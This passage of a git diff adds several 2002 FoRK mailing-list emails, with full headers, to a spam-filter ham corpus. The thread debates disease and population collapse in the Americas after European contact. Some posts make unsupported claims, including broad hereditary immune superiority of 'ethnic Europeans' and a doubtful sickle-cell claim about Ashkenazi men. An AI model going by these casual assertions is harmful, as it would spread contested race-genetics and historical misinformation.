III" +Organization: Rose Garden Funeral of Sores +User-Agent: Mutt 5.00.2919.6900 DM (Nigerian Scammer Special Edition) +X-Accept-Language: en-us, en, ja +MIME-Version: 1.0 +To: Gordon Mohr +Cc: fork@spamassassin.taint.org +Subject: Re: Mailing addresses against spam? Re: Al'Qaeda's fantasy ideology: Policy Review no. 114 +References: <002401c24652$725b64d0$0200a8c0@JMHALL> + <006c01c24656$2a052ff0$640a000a@golden> +Content-Type: text/plain; charset=us-ascii; format=flowed +Content-Transfer-Encoding: 7bit +Sender: fork-admin@xent.com +Errors-To: fork-admin@xent.com +X-Beenthere: fork@spamassassin.taint.org +X-Mailman-Version: 2.0.11 +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , +List-Id: Friends of Rohit Khare +List-Unsubscribe: , + +List-Archive: +Date: Sun, 18 Aug 2002 09:00:34 -0700 + +Gordon Mohr wrote: +> Is this some new "I'm not spam" signal, to include a +> valid mailing address? + +It's so you can still converse with him after the internet +implodes due to spam and bankruptcy. + +- Joe +-- +The Combatant State is your father and your mother, your only +protector, the totality of your interests. No discipline can +be stern enough for the man who denies that by word or deed. + + +http://xent.com/mailman/listinfo/fork + diff --git a/bayes/spamham/easy_ham_2/01065.6d8f64a38393cbeab2c1f9cf9f044300 b/bayes/spamham/easy_ham_2/01065.6d8f64a38393cbeab2c1f9cf9f044300 new file mode 100644 index 0000000..568a8f0 --- /dev/null +++ b/bayes/spamham/easy_ham_2/01065.6d8f64a38393cbeab2c1f9cf9f044300 @@ -0,0 +1,56 @@ +From fork-admin@xent.com Mon Aug 19 11:05:27 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 9E35144100 + for ; Mon, 19 Aug 2002 05:55:45 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Mon, 19 Aug 2002 10:55:45 +0100 (IST) +Received: from xent.com ([64.161.22.236]) by dogma.slashnull.org + (8.11.6/8.11.6) with ESMTP id g7ILKU624691 for ; + Sun, 18 Aug 2002 22:20:33 +0100 +Received: from lair.xent.com (localhost [127.0.0.1]) by xent.com (Postfix) + with ESMTP id 883F729409B; Sun, 18 Aug 2002 14:18:07 -0700 (PDT) +Delivered-To: fork@spamassassin.taint.org +Received: from argote.ch (argote.ch [80.65.224.17]) by xent.com (Postfix) + with ESMTP id 5B734294098 for ; Sun, 18 Aug 2002 14:17:28 + -0700 (PDT) +Received: by argote.ch (Postfix, from userid 500) id 7BF7AC44E; + Sun, 18 Aug 2002 23:12:15 +0200 (CEST) +To: fork@spamassassin.taint.org +Subject: Re: Al'Qaeda's fantasy ideology: Policy Review no. 114 +Message-Id: <20020818211215.7BF7AC44E@argote.ch> +From: harley@argote.ch (Robert Harley) +Sender: fork-admin@xent.com +Errors-To: fork-admin@xent.com +X-Beenthere: fork@spamassassin.taint.org +X-Mailman-Version: 2.0.11 +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , +List-Id: Friends of Rohit Khare +List-Unsubscribe: , + +List-Archive: +Date: Sun, 18 Aug 2002 23:12:15 +0200 (CEST) + +Gary Lawrence Murphy wrote +>Wasn't the Aztec population that greeted Cortez already largely +>decimated by the microbiology brought over by DeSoto nearly a hundred +>years before? + +Well IIRC, Cortez arrived in 1519, and DeSoto was born circa 1500. +You do the math. + +I guess that's a "no". + +R + +PS: Funny how the New World world population supposedly had no immunity + to Old World diseases and died like flies, but the Old World + population was completely unaffected by New World diseases (other + than tabacco and syphilis...) Bullshit meter red-lining again... +http://xent.com/mailman/listinfo/fork + diff --git a/bayes/spamham/easy_ham_2/01066.b8a250f525ae2bfa5786c6472137edb7 b/bayes/spamham/easy_ham_2/01066.b8a250f525ae2bfa5786c6472137edb7 new file mode 100644 index 0000000..c909776 --- /dev/null +++ b/bayes/spamham/easy_ham_2/01066.b8a250f525ae2bfa5786c6472137edb7 @@ -0,0 +1,94 @@ +From fork-admin@xent.com Mon Aug 19 11:05:31 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 5A680441B5 + for ; Mon, 19 Aug 2002 05:55:46 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Mon, 19 Aug 2002 10:55:46 +0100 (IST) +Received: from xent.com ([64.161.22.236]) by dogma.slashnull.org + (8.11.6/8.11.6) with ESMTP id g7IM0X625925 for ; + Sun, 18 Aug 2002 23:00:37 +0100 +Received: from lair.xent.com (localhost [127.0.0.1]) by xent.com (Postfix) + with ESMTP id D825629409B; Sun, 18 Aug 2002 14:58:07 -0700 (PDT) +Delivered-To: fork@spamassassin.taint.org +Received: from mta7.pltn13.pbi.net (mta7.pltn13.pbi.net [64.164.98.8]) by + xent.com (Postfix) with ESMTP id 695E6294098 for ; + Sun, 18 Aug 2002 14:57:20 -0700 (PDT) +Received: from [192.168.123.100] ([64.173.24.253]) by mta7.pltn13.pbi.net + (iPlanet Messaging Server 5.1 (built May 7 2001)) with ESMTP id + <0H12008CI7PT27@mta7.pltn13.pbi.net> for fork@xent.com; Sun, + 18 Aug 2002 14:58:42 -0700 (PDT) +From: James Rogers +Subject: Infectious disease (was Re: Al'Qaeda's fantasy ideology) +In-Reply-To: <20020818211215.7BF7AC44E@argote.ch> +To: fork@spamassassin.taint.org +Message-Id: +MIME-Version: 1.0 +Content-Type: text/plain; charset=US-ASCII +Content-Transfer-Encoding: 7bit +User-Agent: Microsoft-Entourage/9.0.1.3108 +Sender: fork-admin@xent.com +Errors-To: fork-admin@xent.com +X-Beenthere: fork@spamassassin.taint.org +X-Mailman-Version: 2.0.11 +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , +List-Id: Friends of Rohit Khare +List-Unsubscribe: , + +List-Archive: +Date: Sun, 18 Aug 2002 14:58:44 -0700 + +On 8/18/02 2:12 PM, "Robert Harley" wrote: +> +> PS: Funny how the New World world population supposedly had no immunity +> to Old World diseases and died like flies, but the Old World +> population was completely unaffected by New World diseases (other +> than tabacco and syphilis...) Bullshit meter red-lining again... + + +You aren't the first person to ask this question, but over the last few +years there have been some good answers to this coming from the genetics +research folks. As I understand it, there is a growing body of genetic +evidence that European immune systems are substantially tougher and more +resistant to a wider range of infectious diseases than those found in other +peoples around the world, including a surprisingly wide range of hereditary +immunities and partial immunities/resistance to common viruses and bacteria +found around the world. As a result, when the first wholesale mixing of +people from different parts of the world started occurring on a regular +basis, the Europeans fared much better than most others. + +The standard theory for this is that Europe was the first major region of +the planet to become densely populated and urbanized (to the extent that +they "urbanized" a thousand years ago). Because of this, Europe was a +festering cauldron of disease without the benefit of modern sanitation and +medicine for a thousand plus years, much more so than the rest of the world +and suffered from repeated large-scale epidemics and plagues that took +severe tolls on the population. Modern ethnic Europeans have genetics that +survived a unique and brutal culling process by a rather extensive range of +diseases over dozens of generations. + +What the geneticists are discovering is that for a great many of the world's +most common infectious diseases, there is a percentage of the ethnically +European population that has hereditary immunity and an even larger segment +that has at least some hereditary resistance compared to people from other +parts of the world. And for most ethnic Europeans it isn't just one +disease, they have varying levels of genetic resistance to a veritable +cornucopia of infectious diseases. Because of similarities in the +mechanisms and characteristics of viruses and other pathogens around the +world to ones that Europeans were exposed to, the robust defenses their +genetics provided them against their native diseases frequently imparted +some resistance to diseases which they had never been exposed. + +Cheers, + +-James Rogers + jamesr@best.com + + +http://xent.com/mailman/listinfo/fork + diff --git a/bayes/spamham/easy_ham_2/01067.cd0bf7d0a07309e51867eb3347304354 b/bayes/spamham/easy_ham_2/01067.cd0bf7d0a07309e51867eb3347304354 new file mode 100644 index 0000000..80dc8a1 --- /dev/null +++ b/bayes/spamham/easy_ham_2/01067.cd0bf7d0a07309e51867eb3347304354 @@ -0,0 +1,93 @@ +From fork-admin@xent.com Mon Aug 19 11:05:32 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 8007D441B6 + for ; Mon, 19 Aug 2002 05:55:47 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Mon, 19 Aug 2002 10:55:47 +0100 (IST) +Received: from xent.com ([64.161.22.236]) by dogma.slashnull.org + (8.11.6/8.11.6) with ESMTP id g7INTP628766 for ; + Mon, 19 Aug 2002 00:29:27 +0100 +Received: from lair.xent.com (localhost [127.0.0.1]) by xent.com (Postfix) + with ESMTP id 39A6B2940B8; Sun, 18 Aug 2002 16:27:07 -0700 (PDT) +Delivered-To: fork@spamassassin.taint.org +Received: from barry.mail.mindspring.net (barry.mail.mindspring.net + [207.69.200.25]) by xent.com (Postfix) with ESMTP id CE0F92940A3 for + ; Sun, 18 Aug 2002 16:26:50 -0700 (PDT) +Received: from user-119ac86.biz.mindspring.com ([66.149.49.6]) by + barry.mail.mindspring.net with esmtp (Exim 3.33 #1) id 17gZSr-0003Lw-00; + Sun, 18 Aug 2002 19:28:09 -0400 +MIME-Version: 1.0 +X-Sender: rahettinga@pop.earthlink.net +Message-Id: +In-Reply-To: <20020818211215.7BF7AC44E@argote.ch> +References: <20020818211215.7BF7AC44E@argote.ch> +To: harley@argote.ch (Robert Harley), fork@spamassassin.taint.org +From: "R. A. Hettinga" +Subject: Re: Al'Qaeda's fantasy ideology: Policy Review no. 114 +Cc: Digital Bearer Settlement List +Content-Type: text/plain; charset="us-ascii" +Sender: fork-admin@xent.com +Errors-To: fork-admin@xent.com +X-Beenthere: fork@spamassassin.taint.org +X-Mailman-Version: 2.0.11 +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , +List-Id: Friends of Rohit Khare +List-Unsubscribe: , + +List-Archive: +Date: Sun, 18 Aug 2002 19:27:23 -0400 + +-----BEGIN PGP SIGNED MESSAGE----- +Hash: SHA1 + +At 11:12 PM +0200 on 8/18/02, Robert Harley wrote: + + +> PS: Funny how the New World world population supposedly had no +> immunity +> to Old World diseases and died like flies, but the Old World +> population was completely unaffected by New World diseases +> (other +> than tabacco and syphilis...) Bullshit meter red-lining +> again... + +See Jared Diamond's excellent "Guns, Germs, and Steel" for the story. + +Eurasians had outrageously huge, dense, populations to incubate and +immunize whole classes of fatal diseases in, and unobstructed +east-west trans-supercontinental disease transport vectors (horses, +the silk road, sailing ships) to spread them around with. + +Game over, man. Same thing with war, technology, crops, domestic +animals and everything else worth having in life. :-). + +Remember Joel Mokyr's definition of progress from "The Lever of +Riches": Progress is more stuff cheaper. + +Cheers, +RAH + +-----BEGIN PGP SIGNATURE----- +Version: PGP 7.5 + +iQA/AwUBPWAtT8PxH8jf3ohaEQJ3yACghH1+45PZkGdiocf4RQFpO/fQdNUAoJ/n +tIULaBVQjo/YWd4FlHA5sSRn +=4WRa +-----END PGP SIGNATURE----- + +-- +----------------- +R. A. Hettinga +The Internet Bearer Underwriting Corporation +44 Farquhar Street, Boston, MA 02131 USA +"... however it may deserve respect for its usefulness and antiquity, +[predicting the end of the world] has not been found agreeable to +experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire' +http://xent.com/mailman/listinfo/fork + diff --git a/bayes/spamham/easy_ham_2/01068.e88191720239062aad11137040d210f4 b/bayes/spamham/easy_ham_2/01068.e88191720239062aad11137040d210f4 new file mode 100644 index 0000000..96be168 --- /dev/null +++ b/bayes/spamham/easy_ham_2/01068.e88191720239062aad11137040d210f4 @@ -0,0 +1,105 @@ +From fork-admin@xent.com Mon Aug 19 11:05:38 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 38FED441B7 + for ; Mon, 19 Aug 2002 05:55:49 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Mon, 19 Aug 2002 10:55:49 +0100 (IST) +Received: from xent.com ([64.161.22.236]) by dogma.slashnull.org + (8.11.6/8.11.6) with ESMTP id g7J2iV605113 for ; + Mon, 19 Aug 2002 03:44:34 +0100 +Received: from lair.xent.com (localhost [127.0.0.1]) by xent.com (Postfix) + with ESMTP id 2AA5F2940B8; Sun, 18 Aug 2002 19:42:08 -0700 (PDT) +Delivered-To: fork@spamassassin.taint.org +Received: from mail.evergo.net (unknown [206.191.151.2]) by xent.com + (Postfix) with SMTP id 6B76D2940A3 for ; Sun, + 18 Aug 2002 19:41:49 -0700 (PDT) +Received: (qmail 14002 invoked from network); 19 Aug 2002 02:43:10 -0000 +Received: from dsl.206.191.151.102.evergo.net (HELO JMHALL) + (206.191.151.102) by mail.evergo.net with SMTP; 19 Aug 2002 02:43:10 -0000 +Reply-To: +From: "John Hall" +To: +Cc: +Subject: RE: Al'Qaeda's fantasy ideology: Policy Review no. 114 +Message-Id: <000c01c2472a$25b606c0$0200a8c0@JMHALL> +MIME-Version: 1.0 +Content-Type: text/plain; charset="US-ASCII" +Content-Transfer-Encoding: 7bit +X-Priority: 3 (Normal) +X-Msmail-Priority: Normal +X-Mailer: Microsoft Outlook, Build 10.0.2627 +X-Mimeole: Produced By Microsoft MimeOLE V6.00.2600.0000 +Importance: Normal +In-Reply-To: <20020818235642.B5673C44E@argote.ch> +Sender: fork-admin@xent.com +Errors-To: fork-admin@xent.com +X-Beenthere: fork@spamassassin.taint.org +X-Mailman-Version: 2.0.11 +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , +List-Id: Friends of Rohit Khare +List-Unsubscribe: , + +List-Archive: +Date: Sun, 18 Aug 2002 19:43:06 -0700 + +The die offs in areas with better records parallel and support the +claims that European diseases were devastating to all American +hemisphere populations, and the reverse was never true. Unlike, for +example, India or Asia. + +There is a hot dispute about the original size of the indigenous +population, but the evidence for a high density in the Mexican area is +sound. It was up here in the North or in the Amazon where I'm a little +more suspicious of very high upward revisions. + +At least that was my take. + +I have never heard anyone seriously argue that European diseases were +not a significant factor, or that there were not in fact a lot of Aztec +people prior to Cortez. Gee, I've never before heard someone argue +unseriously about it either. + +Do you have a reference for a book or article which does so? + + + +> -----Original Message----- +> From: fork-admin@xent.com [mailto:fork-admin@xent.com] On Behalf Of +Robert +> Harley +> Sent: Sunday, August 18, 2002 4:57 PM +> To: fork@spamassassin.taint.org +> Cc: rah@shipwright.com +> Subject: Re: Al'Qaeda's fantasy ideology: Policy Review no. 114 +> +> >See Jared Diamond's excellent "Guns, Germs, and Steel" for the story. +> +> Yeah, I know the party line. The evidence for it is extremely meagre. +> New Worlders had two entire continents and tens of millions of people, +> which is a plenty big enough reservoir for infectious diseases to +thrive +> in. Their records show that they were plagued with them long before +1492. +> +> Take Ireland in the early 1800s. Assume a population of circa 8 +> million. Take Ireland around 1900. Assume a population not much +> above 3 million. Ignore natural variations between mortality and +> natality. Omit emigration. Observe the Great Famine in the middle. +> Deduce that it killed 5 million (actually about 1). Transpose to 16th +> century Mexico. Grossly inflate estimates of pre-contact population, +> because nobody has a damn clue what it was anyway. Underestimate +> later population levels. Deduce that 10's of millions died. Lather, +> rinse, repeat. +> +> R +> http://xent.com/mailman/listinfo/fork + + +http://xent.com/mailman/listinfo/fork + diff --git a/bayes/spamham/easy_ham_2/01069.26b62bd093bf3b3cc505239ca0728adb b/bayes/spamham/easy_ham_2/01069.26b62bd093bf3b3cc505239ca0728adb new file mode 100644 index 0000000..50856ff --- /dev/null +++ b/bayes/spamham/easy_ham_2/01069.26b62bd093bf3b3cc505239ca0728adb @@ -0,0 +1,59 @@ +From fork-admin@xent.com Mon Aug 19 11:05:38 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 5EAC444101 + for ; Mon, 19 Aug 2002 05:55:48 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Mon, 19 Aug 2002 10:55:48 +0100 (IST) +Received: from xent.com ([64.161.22.236]) by dogma.slashnull.org + (8.11.6/8.11.6) with ESMTP id g7J04S630377 for ; + Mon, 19 Aug 2002 01:04:30 +0100 +Received: from lair.xent.com (localhost [127.0.0.1]) by xent.com (Postfix) + with ESMTP id AF3922940EC; Sun, 18 Aug 2002 17:02:07 -0700 (PDT) +Delivered-To: fork@spamassassin.taint.org +Received: from argote.ch (argote.ch [80.65.224.17]) by xent.com (Postfix) + with ESMTP id E9B222940BF for ; Sun, 18 Aug 2002 17:01:56 + -0700 (PDT) +Received: by argote.ch (Postfix, from userid 500) id B5673C44E; + Mon, 19 Aug 2002 01:56:42 +0200 (CEST) +To: fork@spamassassin.taint.org +Subject: Re: Al'Qaeda's fantasy ideology: Policy Review no. 114 +Cc: rah@shipwright.com +Message-Id: <20020818235642.B5673C44E@argote.ch> +From: harley@argote.ch (Robert Harley) +Sender: fork-admin@xent.com +Errors-To: fork-admin@xent.com +X-Beenthere: fork@spamassassin.taint.org +X-Mailman-Version: 2.0.11 +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , +List-Id: Friends of Rohit Khare +List-Unsubscribe: , + +List-Archive: +Date: Mon, 19 Aug 2002 01:56:42 +0200 (CEST) + +>See Jared Diamond's excellent "Guns, Germs, and Steel" for the story. + +Yeah, I know the party line. The evidence for it is extremely meagre. +New Worlders had two entire continents and tens of millions of people, +which is a plenty big enough reservoir for infectious diseases to thrive +in. Their records show that they were plagued with them long before 1492. + +Take Ireland in the early 1800s. Assume a population of circa 8 +million. Take Ireland around 1900. Assume a population not much +above 3 million. Ignore natural variations between mortality and +natality. Omit emigration. Observe the Great Famine in the middle. +Deduce that it killed 5 million (actually about 1). Transpose to 16th +century Mexico. Grossly inflate estimates of pre-contact population, +because nobody has a damn clue what it was anyway. Underestimate +later population levels. Deduce that 10's of millions died. Lather, +rinse, repeat. + +R +http://xent.com/mailman/listinfo/fork + diff --git a/bayes/spamham/easy_ham_2/01070.50c7556d0cd6e87708333240fa89ed06 b/bayes/spamham/easy_ham_2/01070.50c7556d0cd6e87708333240fa89ed06 new file mode 100644 index 0000000..87a623d --- /dev/null +++ b/bayes/spamham/easy_ham_2/01070.50c7556d0cd6e87708333240fa89ed06 @@ -0,0 +1,65 @@ +From fork-admin@xent.com Mon Aug 19 11:05:46 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 5FA6043C36 + for ; Mon, 19 Aug 2002 05:55:50 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Mon, 19 Aug 2002 10:55:50 +0100 (IST) +Received: from xent.com ([64.161.22.236]) by dogma.slashnull.org + (8.11.6/8.11.6) with ESMTP id g7J3vT606688 for ; + Mon, 19 Aug 2002 04:57:32 +0100 +Received: from lair.xent.com (localhost [127.0.0.1]) by xent.com (Postfix) + with ESMTP id 8FC4D2940BF; Sun, 18 Aug 2002 20:55:08 -0700 (PDT) +Delivered-To: fork@spamassassin.taint.org +Received: from argote.ch (argote.ch [80.65.224.17]) by xent.com (Postfix) + with ESMTP id 120072940B8 for ; Sun, 18 Aug 2002 20:54:43 + -0700 (PDT) +Received: by argote.ch (Postfix, from userid 500) id A9372C44E; + Mon, 19 Aug 2002 05:49:26 +0200 (CEST) +To: fork@spamassassin.taint.org +Subject: Re: Al'Qaeda's fantasy ideology: Policy Review no. 114 +Message-Id: <20020819034926.A9372C44E@argote.ch> +From: harley@argote.ch (Robert Harley) +Sender: fork-admin@xent.com +Errors-To: fork-admin@xent.com +X-Beenthere: fork@spamassassin.taint.org +X-Mailman-Version: 2.0.11 +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , +List-Id: Friends of Rohit Khare +List-Unsubscribe: , + +List-Archive: +Date: Mon, 19 Aug 2002 05:49:26 +0200 (CEST) + +>There is a hot dispute about the original size of the indigenous +>population, but the evidence for a high density in the Mexican area is +>sound. It was up here in the North or in the Amazon where I'm a little +>more suspicious of very high upward revisions. + +Right, there was definitely a relatively high density in Mexico, and +much less elsewhere. Population estimates vary wildly and about all +your average skeptic can do is take geometric means to get ballpark +figures. While Central America may have had 20 or 30 million, vast +areas of South America were uninhabited and other places very +sparsely e.g., the plains Indians in what is now the U.S. may have +been 2 million or so. + +There are those who claim that the Mexican population declined from +20 something million to circa 8 or 10 million in the 16th century, +certainly, in part due to infectious diseases new and old, and other +factors, and was probably in decline before contact. Others claim it +declined from 80-ish million to 3 or 4 million and somehow deduce 95% +mortality from imported diseases, and have a pretty clear agenda which +makes me (for one) take their claims with a large grain of salt. + +About all that is certain is that anyone alive in 1500 was dead in 1600, +in the Americas or elsewhere. + +R +http://xent.com/mailman/listinfo/fork + diff --git a/bayes/spamham/easy_ham_2/01071.a7ec1f3e3dbf8862c0d8347670170574 b/bayes/spamham/easy_ham_2/01071.a7ec1f3e3dbf8862c0d8347670170574 new file mode 100644 index 0000000..5019b7d --- /dev/null +++ b/bayes/spamham/easy_ham_2/01071.a7ec1f3e3dbf8862c0d8347670170574 @@ -0,0 +1,61 @@ +From fork-admin@xent.com Mon Aug 19 11:05:47 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 03C07441B8 + for ; Mon, 19 Aug 2002 05:55:52 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Mon, 19 Aug 2002 10:55:52 +0100 (IST) +Received: from xent.com ([64.161.22.236]) by dogma.slashnull.org + (8.11.6/8.11.6) with ESMTP id g7J4JY607236 for ; + Mon, 19 Aug 2002 05:19:36 +0100 +Received: from lair.xent.com (localhost [127.0.0.1]) by xent.com (Postfix) + with ESMTP id 158FA2940B8; Sun, 18 Aug 2002 21:17:08 -0700 (PDT) +Delivered-To: fork@spamassassin.taint.org +Received: from argote.ch (argote.ch [80.65.224.17]) by xent.com (Postfix) + with ESMTP id C9DF129409D for ; Sun, 18 Aug 2002 21:16:35 + -0700 (PDT) +Received: by argote.ch (Postfix, from userid 500) id A9B13C44E; + Mon, 19 Aug 2002 06:11:19 +0200 (CEST) +To: fork@spamassassin.taint.org +Subject: Re: Infectious disease (was Re: Al'Qaeda's fantasy ideology) +Message-Id: <20020819041119.A9B13C44E@argote.ch> +From: harley@argote.ch (Robert Harley) +Sender: fork-admin@xent.com +Errors-To: fork-admin@xent.com +X-Beenthere: fork@spamassassin.taint.org +X-Mailman-Version: 2.0.11 +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , +List-Id: Friends of Rohit Khare +List-Unsubscribe: , + +List-Archive: +Date: Mon, 19 Aug 2002 06:11:19 +0200 (CEST) + +James Rogers wrote: +>[...] As I understand it, there is a growing body of genetic evidence +>that European immune systems are substantially tougher and more +>resistant to a wider range of infectious diseases than those found in +>other peoples around the world, [...] +> +>The standard theory for this is that Europe was the first major region of +>the planet to become densely populated and urbanized (to the extent that +>they "urbanized" a thousand years ago). [...] + +Another theory is that Europe was a rural backyard until the Renaissance, +certainly when compared to big urban centres like Constantinople and Baghdad. + +I don't know the genetic studies of which you speak, but I know of one that +is sort-of relevant: apparently men of Ashkenazi descent are susceptible +to sickle-cell anemia and the probable reason is that the same genetic +factor that causes that also protects women from tuberculosis (IIRC), which +would have come in handy in central European towns at a time when the Jewish +population was a lot more urbanised than average Joes. + +R +http://xent.com/mailman/listinfo/fork + diff --git a/bayes/spamham/easy_ham_2/01072.9bbc08d0ef994cd212eebaf8105d5c81 b/bayes/spamham/easy_ham_2/01072.9bbc08d0ef994cd212eebaf8105d5c81 new file mode 100644 index 0000000..ce996c9 --- /dev/null +++ b/bayes/spamham/easy_ham_2/01072.9bbc08d0ef994cd212eebaf8105d5c81 @@ -0,0 +1,66 @@ +From fork-admin@xent.com Mon Aug 19 11:05:52 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 22C04441B9 + for ; Mon, 19 Aug 2002 05:55:53 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Mon, 19 Aug 2002 10:55:53 +0100 (IST) +Received: from xent.com ([64.161.22.236]) by dogma.slashnull.org + (8.11.6/8.11.6) with ESMTP id g7J4Sa607489 for ; + Mon, 19 Aug 2002 05:28:39 +0100 +Received: from lair.xent.com (localhost [127.0.0.1]) by xent.com (Postfix) + with ESMTP id 6D7E02940F8; Sun, 18 Aug 2002 21:26:07 -0700 (PDT) +Delivered-To: fork@spamassassin.taint.org +Received: from smtp1.auracom.net (smtp1.auracom.net [165.154.140.23]) by + xent.com (Postfix) with ESMTP id 8928A29409D for ; + Sun, 18 Aug 2002 21:25:27 -0700 (PDT) +Received: from maya.dyndns.org (ts5-038.ptrb.interhop.net + [165.154.190.102]) by smtp1.auracom.net (8.11.2/8.11.2) with ESMTP id + g7J40vE17080; Mon, 19 Aug 2002 00:00:58 -0400 (EDT) +Received: by maya.dyndns.org (Postfix, from userid 501) id 8B4F41C388; + Mon, 19 Aug 2002 00:25:46 -0400 (EDT) +To: harley@argote.ch (Robert Harley) +Cc: fork@spamassassin.taint.org +Subject: Re: Al'Qaeda's fantasy ideology: Policy Review no. 114 +References: <20020818211215.7BF7AC44E@argote.ch> +From: Gary Lawrence Murphy +X-Home-Page: http://www.teledyn.com +Organization: TCI Business Innovation through Open Source Computing +Message-Id: +Reply-To: Gary Lawrence Murphy +X-Url: http://www.teledyn.com/ +MIME-Version: 1.0 +Content-Type: text/plain; charset=us-ascii +Sender: fork-admin@xent.com +Errors-To: fork-admin@xent.com +X-Beenthere: fork@spamassassin.taint.org +X-Mailman-Version: 2.0.11 +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , +List-Id: Friends of Rohit Khare +List-Unsubscribe: , + +List-Archive: +Date: 19 Aug 2002 00:25:46 -0400 + +>>>>> "R" == Robert Harley writes: + + R> Well IIRC, Cortez arrived in 1519, and DeSoto was born circa + R> 1500. You do the math. + +Ah, I suppose so. If it wasn't DeSoto ... then who was it that landed +in Southern Florida to be greeted by great cities of millions of +mound-dwellers who had completely vanished by the time Cortez arrived +to kill as many as he could? + +-- +Gary Lawrence Murphy TeleDynamics Communications Inc + Business Advantage through Community Software : http://www.teledyn.com +"Computers are useless. They can only give you answers."(Pablo Picasso) + +http://xent.com/mailman/listinfo/fork + diff --git a/bayes/spamham/easy_ham_2/01073.c57f97ceb349872c39dfdea815369d0e b/bayes/spamham/easy_ham_2/01073.c57f97ceb349872c39dfdea815369d0e new file mode 100644 index 0000000..c247fc2 --- /dev/null +++ b/bayes/spamham/easy_ham_2/01073.c57f97ceb349872c39dfdea815369d0e @@ -0,0 +1,57 @@ +From fork-admin@xent.com Mon Aug 19 11:05:59 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id ADCD5441BA + for ; Mon, 19 Aug 2002 05:55:54 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Mon, 19 Aug 2002 10:55:54 +0100 (IST) +Received: from xent.com ([64.161.22.236]) by dogma.slashnull.org + (8.11.6/8.11.6) with ESMTP id g7J4tW608281 for ; + Mon, 19 Aug 2002 05:55:35 +0100 +Received: from lair.xent.com (localhost [127.0.0.1]) by xent.com (Postfix) + with ESMTP id BA70F2940A0; Sun, 18 Aug 2002 21:53:07 -0700 (PDT) +Delivered-To: fork@spamassassin.taint.org +Received: from argote.ch (argote.ch [80.65.224.17]) by xent.com (Postfix) + with ESMTP id 8390A29409D for ; Sun, 18 Aug 2002 21:52:09 + -0700 (PDT) +Received: by argote.ch (Postfix, from userid 500) id AC345C44E; + Mon, 19 Aug 2002 06:46:51 +0200 (CEST) +To: fork@spamassassin.taint.org +Subject: Re: Al'Qaeda's fantasy ideology: Policy Review no. 114 +Message-Id: <20020819044651.AC345C44E@argote.ch> +From: harley@argote.ch (Robert Harley) +Sender: fork-admin@xent.com +Errors-To: fork-admin@xent.com +X-Beenthere: fork@spamassassin.taint.org +X-Mailman-Version: 2.0.11 +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , +List-Id: Friends of Rohit Khare +List-Unsubscribe: , + +List-Archive: +Date: Mon, 19 Aug 2002 06:46:51 +0200 (CEST) + +>[...] If it wasn't DeSoto ... then who was it that landed in Southern +>Florida to be greeted by great cities of millions of mound-dwellers +>who had completely vanished by the time Cortez arrived to kill as many +>as he could? + +The tooth fairy? + +There were never millions of natives in Florida (until recently :). + +Cortez never went to Florida, AFAIK. Ponce de Leon discovered it. +The Indian peoples he found there stuck around until a bunch of them +moved to Cuba with the Spanish when a bunch of Seminole Indians +invaded from the North with the English, in the seventeenth century. +The remainder merged in with the new population, or died, or whatever, +and their culture disappeared. + +R +http://xent.com/mailman/listinfo/fork + diff --git a/bayes/spamham/easy_ham_2/01074.c9b234b33fb48470e74408493b248b86 b/bayes/spamham/easy_ham_2/01074.c9b234b33fb48470e74408493b248b86 new file mode 100644 index 0000000..7cf0844 --- /dev/null +++ b/bayes/spamham/easy_ham_2/01074.c9b234b33fb48470e74408493b248b86 @@ -0,0 +1,88 @@ +From 